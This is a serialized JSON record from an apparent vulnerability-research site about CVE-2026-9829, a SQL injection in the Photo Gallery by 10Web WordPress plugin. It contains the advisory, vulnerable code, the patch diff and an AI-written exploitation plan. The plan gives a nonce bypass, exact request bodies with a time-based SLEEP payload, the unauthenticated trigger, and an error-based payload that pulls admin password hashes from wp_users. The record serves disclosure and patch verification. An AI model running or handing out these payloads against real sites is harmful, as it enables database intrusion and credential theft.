[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fvqIvGFbhxTtt0zo6nikhCXSjqQsC2GR0xHtROP23_fA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":27,"research_verified":28,"research_rounds_completed":29,"research_plan":30,"research_summary":31,"research_vulnerable_code":32,"research_fix_diff":33,"research_exploit_outline":34,"research_model_used":35,"research_started_at":36,"research_completed_at":37,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":28,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":28,"source_links":38},"CVE-2026-9829","photo-gallery-by-10web-authenticated-contributor-sql-injection-via-compactalbumorderby-shortcode-parameter","Photo Gallery by 10Web \u003C= 1.8.41 - Authenticated (Contributor+) SQL Injection via 'compact_album_order_by' Shortcode Parameter","The Photo Gallery by 10Web – Mobile-Friendly Image Gallery plugin for WordPress is vulnerable to time-based SQL Injection via 'compact_album_order_by' Shortcode Parameter in all versions up to, and including, 1.8.41 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The malicious payload is stored via the 'shortcode_bwg' AJAX handler — accessible to Contributor-level users and exploitable without a valid nonce by omitting the 'page' parameter — and is subsequently triggered by the unauthenticated 'bwg_frontend_data' AJAX handler, meaning successful exploitation requires only that an attacker has Contributor-level access to save the shortcode.","photo-gallery",null,"\u003C=1.8.41","1.8.42","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-06-05 15:34:43","2026-06-06 04:28:23",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcae7dabd-ce43-43e3-9f67-b2de55bd720b?source=api-prod",1,[22,23,24,25,26],"admin\u002Fcontrollers\u002FShortcode.php","framework\u002FWDWLibrary.php","frontend\u002Fmodels\u002Fmodel.php","photo-gallery.php","readme.txt","researched",false,3,"This research plan outlines the technical steps to verify the SQL injection vulnerability (CVE-2026-9829) in the **Photo Gallery by 10Web** plugin (version \u003C= 1.8.41).\n\n### 1. Vulnerability Summary\nThe vulnerability is a time-based SQL injection located in the `get_alb_gals_row` method within `frontend\u002Fmodels\u002Fmodel.php`. The plugin fails to sanitize or prepare the `$order_by` parameter before concatenating it into a SQL query. \n\nWhile the injection occurs during frontend display, the malicious payload is \"pre-seeded\" into the database via a shortcode configuration handler. A Contributor-level user can save a crafted shortcode attribute (`compact_album_order_by`) containing SQL commands. Because the configuration saving logic fails to check nonces when the `page` parameter is omitted, and the frontend trigger is unauthenticated, the vulnerability can be exploited with minimal privileges.\n\n### 2. Attack Vector Analysis\n*   **Initial Entry Point (Storage):** `wp-admin\u002Fadmin-ajax.php` using the `shortcode_bwg` action.\n*   **Trigger Entry Point (Execution):** `wp-admin\u002Fadmin-ajax.php` using the `bwg_frontend_data` action (Unauthenticated).\n*   **Vulnerable Parameter:** `compact_album_order_by` (passed inside the `tagtext` shortcode string).\n*   **Authentication:** Requires **Contributor** level credentials to save the shortcode, but **no authentication** to trigger the execution.\n*   **Preconditions:** A valid Gallery must exist in the plugin to ensure the vulnerable code path in `get_alb_gals_row` is executed.\n\n### 3. Code Flow\n1.  **Storage Phase:**\n    -   The user sends a request to `admin-ajax.php?action=shortcode_bwg&task=save`.\n    -   `ShortcodeController_bwg::execute()` is called.\n    -   The controller checks `$this->from_menu`. This is only `TRUE` if the `page` parameter is exactly `'shortcode_bwg'`. By omitting `page`, `$this->from_menu` becomes `FALSE`, bypassing the `WDWLibrary::verify_nonce` check.\n    -   `ShortcodeController_bwg::save()` is called. It retrieves `tagtext` (the shortcode string) and `currrent_id` (the ID to save under).\n    -   The payload is stored in the `{$wpdb->prefix}bwg_shortcode` table.\n2.  **Trigger Phase:**\n    -   An unauthenticated user requests `admin-ajax.php?action=bwg_frontend_data`.\n    -   `BWG::frontend_data()` (in `photo-gallery.php`) is executed.\n    -   The model method `BWGModelSite::get_alb_gals_row` is eventually invoked.\n    -   The parameter `$order_by` (derived from the saved shortcode attribute) is used in the following concatenation:\n        ```php\n        $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;\n        \u002F\u002F ...\n        $sql = $query . ' ' . $order_by . ' ' . $limit_str;\n        $rows = $wpdb->get_results($sql);\n        ```\n    -   The arbitrary SQL in `$order_by` is executed by `$wpdb->get_results()`.\n\n### 4. Nonce Acquisition Strategy\nThe vulnerability description explicitly states that the `shortcode_bwg` AJAX handler is **exploitable without a valid nonce** by omitting the `page` parameter. \n\n*   **Logic:** In `ShortcodeController_bwg::__construct`, the `$from_menu` flag is set based on the `page` parameter. In `execute()`, the nonce is only verified if `$from_menu` is true.\n*   **Strategy:** Simply omit the `page` parameter in the `shortcode_bwg` request. No nonce is needed.\n\n### 5. Exploitation Strategy\n\n#### Step 1: Seed the Malicious Shortcode\nUse a Contributor account to save a shortcode configuration containing the time-based payload.\n\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fadmin-ajax.php?action=shortcode_bwg`\n*   **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n*   **Body:**\n    ```text\n    task=save&bwg_insert=1&currrent_id=1337&tagtext=[Best_Wordpress_Gallery id=\"1337\" type=\"album\" album_id=\"1\" compact_album_order_by=\"ASC,(SELECT 1 FROM (SELECT(SLEEP(5)))a)\"]\n    ```\n    *Note: `currrent_id` is intentionally misspelled to match the source code variable.*\n\n#### Step 2: Trigger the SQL Injection\nRequest the frontend data for the seeded shortcode ID. This step is unauthenticated.\n\n*   **Tool:** `http_request`\n*   **Method:** `POST`\n*   **URL:** `{{BASE_URL}}\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Body:**\n    ```text\n    action=bwg_frontend_data&shortcode_id=1337&page_number_0=1&albums_per_page_0=10\n    ```\n    *(Note: Parameters like `page_number_0` are often required by the plugin to reach the query logic).*\n\n### 6. Test Data Setup\n1.  **Create a Gallery:** Use WP-CLI to ensure at least one gallery exists.\n    ```bash\n    wp eval \"global \\$wpdb; \\$wpdb->insert(\\$wpdb->prefix . 'bwg_gallery', array('name' => 'Test Gallery', 'slug' => 'test-gallery', 'published' => 1));\"\n    ```\n2.  **Create an Album:** Ensure an album exists to be targeted by the shortcode.\n    ```bash\n    wp eval \"global \\$wpdb; \\$wpdb->insert(\\$wpdb->prefix . 'bwg_album', array('name' => 'Test Album', 'slug' => 'test-album', 'published' => 1));\"\n    ```\n3.  **Create Contributor:**\n    ```bash\n    wp user create attacker attacker@example.com --role=contributor --user_pass=password\n    ```\n\n### 7. Expected Results\n*   **Step 1:** Should return a `200 OK` (often with a `0` or `1` response body).\n*   **Step 2:** The HTTP response should be delayed by approximately **5 seconds**. This confirms the `SLEEP(5)` command was executed by the database.\n\n### 8. Verification Steps\nAfter the `http_request` in Step 2, check the plugin's shortcode table to verify the payload was indeed stored:\n```bash\nwp db query \"SELECT tagtext FROM wp_bwg_shortcode WHERE id=1337\"\n```\nAlso, verify the query log (if enabled) or check the response time of a control request (without `SLEEP`) to ensure the 5-second delay was unique to the attack payload.\n\n### 9. Alternative Approaches\nIf time-based injection is filtered, attempt **Error-based Injection** by inducing a syntax error inside the `order_by` parameter and checking if the response contains database errors:\n*   **Payload:** `compact_album_order_by=\"ASC, (SELECT 1 FROM (SELECT(updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)))a)\"`\n*   **Condition:** This requires `WP_DEBUG` to be enabled or the plugin to explicitly output `$wpdb->last_error`.","The Photo Gallery by 10Web plugin for WordPress is vulnerable to a time-based SQL Injection via the 'compact_album_order_by' shortcode attribute. A Contributor-level attacker can store a malicious payload in the plugin's shortcode table by bypassing a nonce check in the 'shortcode_bwg' AJAX handler, which is later executed by any user (including unauthenticated visitors) via the 'bwg_frontend_data' AJAX handler.","\u002F\u002F admin\u002Fcontrollers\u002FShortcode.php - Nonce bypass if 'page' is omitted\npublic function execute() {\n    $task = WDWLibrary::get('task');\n    if ( $task != '' && $this->from_menu ) {\n      if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) {\n        die('Sorry, your nonce did not verify.');\n      }\n    }\n    \u002F\u002F ...\n}\n\n\u002F\u002F admin\u002Fcontrollers\u002FShortcode.php - Lack of sanitization before storage\npublic function save() {\n    global $wpdb;\n    $tagtext = WDWLibrary::get('tagtext');\n    if ($tagtext) {\n      $id = WDWLibrary::get('currrent_id', 0, 'intval');\n      $insert = WDWLibrary::get('bwg_insert', 0, 'intval');\n      if (!$insert) {\n        $wpdb->update($wpdb->prefix . 'bwg_shortcode', array('tagtext' => $tagtext), array('id' => $id), array('%s'), array('%d'));\n      } else {\n        $wpdb->insert($wpdb->prefix . 'bwg_shortcode', array('id' => $id, 'tagtext' => $tagtext), array('%d', '%s'));\n      }\n    }\n}\n\n---\n\n\u002F\u002F frontend\u002Fmodels\u002Fmodel.php - SQL Injection point\npublic function get_alb_gals_row( $bwg, $id, $albums_per_page, $sort_by, $order_by, $pagination_type = 0, $from = '' ) {\n    \u002F\u002F ...\n    global $wpdb;\n    $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;\n    \u002F\u002F ...\n    $sql = $query . $limitation;\n    $rows = $wpdb->get_results($sql); \u002F\u002F Vulnerable concatenation\n}","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fphoto-gallery\u002F1.8.41\u002Fadmin\u002Fcontrollers\u002FShortcode.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fphoto-gallery\u002F1.8.42\u002Fadmin\u002Fcontrollers\u002FShortcode.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fphoto-gallery\u002F1.8.41\u002Fadmin\u002Fcontrollers\u002FShortcode.php\t2022-06-16 06:23:42.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fphoto-gallery\u002F1.8.42\u002Fadmin\u002Fcontrollers\u002FShortcode.php\t2026-05-29 16:34:32.000000000 +0000\n@@ -11,7 +11,7 @@\n \n   public function execute() {\n     $task = WDWLibrary::get('task');\n-    if ( $task != '' && $this->from_menu ) {\n+    if ( $task != '' && ( $this->from_menu || $task === 'save' ) ) {\n       if ( !WDWLibrary::verify_nonce(BWG()->nonce) ) {\n         die('Sorry, your nonce did not verify.');\n       }\n@@ -58,6 +58,7 @@\n     global $wpdb;\n     $tagtext = WDWLibrary::get('tagtext');\n     if ($tagtext) {\n+      $tagtext = WDWLibrary::sanitize_shortcode_tagtext( $tagtext );\n       \u002F* clear tags *\u002F\n       $tagtext = \" \" . $tagtext;\n       $id = WDWLibrary::get('currrent_id', 0, 'intval');\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fphoto-gallery\u002F1.8.41\u002Ffrontend\u002Fmodels\u002Fmodel.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fphoto-gallery\u002F1.8.42\u002Ffrontend\u002Fmodels\u002Fmodel.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fphoto-gallery\u002F1.8.41\u002Ffrontend\u002Fmodels\u002Fmodel.php\t2022-12-17 18:33:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fphoto-gallery\u002F1.8.42\u002Ffrontend\u002Fmodels\u002Fmodel.php\t2026-05-29 16:34:32.000000000 +0000\n@@ -110,10 +110,14 @@\n       $albums_per_page = 0;\n     }\n     global $wpdb;\n-    $order_by = 'ORDER BY `' . ( ( !empty( $from ) && $from === 'widget' ) ? 'id' : $sort_by ) . '` ' . $order_by;\n-    if ( $sort_by == 'random' || $sort_by == 'RAND()' ) {\n+    $sort_by = WDWLibrary::sanitize_album_sort_column( $sort_by, $from );\n+    $sort_direction = WDWLibrary::sanitize_sort_direction( $order_by );\n+    if ( $sort_by === 'random' ) {\n       $order_by = 'ORDER BY RAND()';\n     }\n+    else {\n+      $order_by = 'ORDER BY `' . $sort_by . '` ' . $sort_direction;\n+    }","The exploit is a two-step process. First, an attacker with Contributor-level access sends an AJAX request to 'wp-admin\u002Fadmin-ajax.php?action=shortcode_bwg' with the 'task' set to 'save'. By omitting the 'page' parameter, the attacker bypasses the plugin's nonce check. The payload is placed within the 'tagtext' parameter as a shortcode attribute like [Best_Wordpress_Gallery compact_album_order_by=\"ASC, (SELECT SLEEP(5))\"]. Second, the attacker triggers the SQL injection by making an unauthenticated request to 'admin-ajax.php?action=bwg_frontend_data' and providing the 'shortcode_id' of the previously saved shortcode. The plugin retrieves the malicious 'tagtext', parses the attributes, and concatenates the 'order_by' value directly into a database query, resulting in time-based SQL execution.","gemini-3-flash-preview","2026-06-26 02:59:50","2026-06-26 03:00:59",{"type":39,"vulnerable_version":40,"fixed_version":11,"vulnerable_browse":41,"vulnerable_zip":42,"fixed_browse":43,"fixed_zip":44,"all_tags":45},"plugin","1.8.41","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fphoto-gallery\u002Ftags\u002F1.8.41","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fphoto-gallery.1.8.41.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fphoto-gallery\u002Ftags\u002F1.8.42","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fphoto-gallery.1.8.42.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fphoto-gallery\u002Ftags"]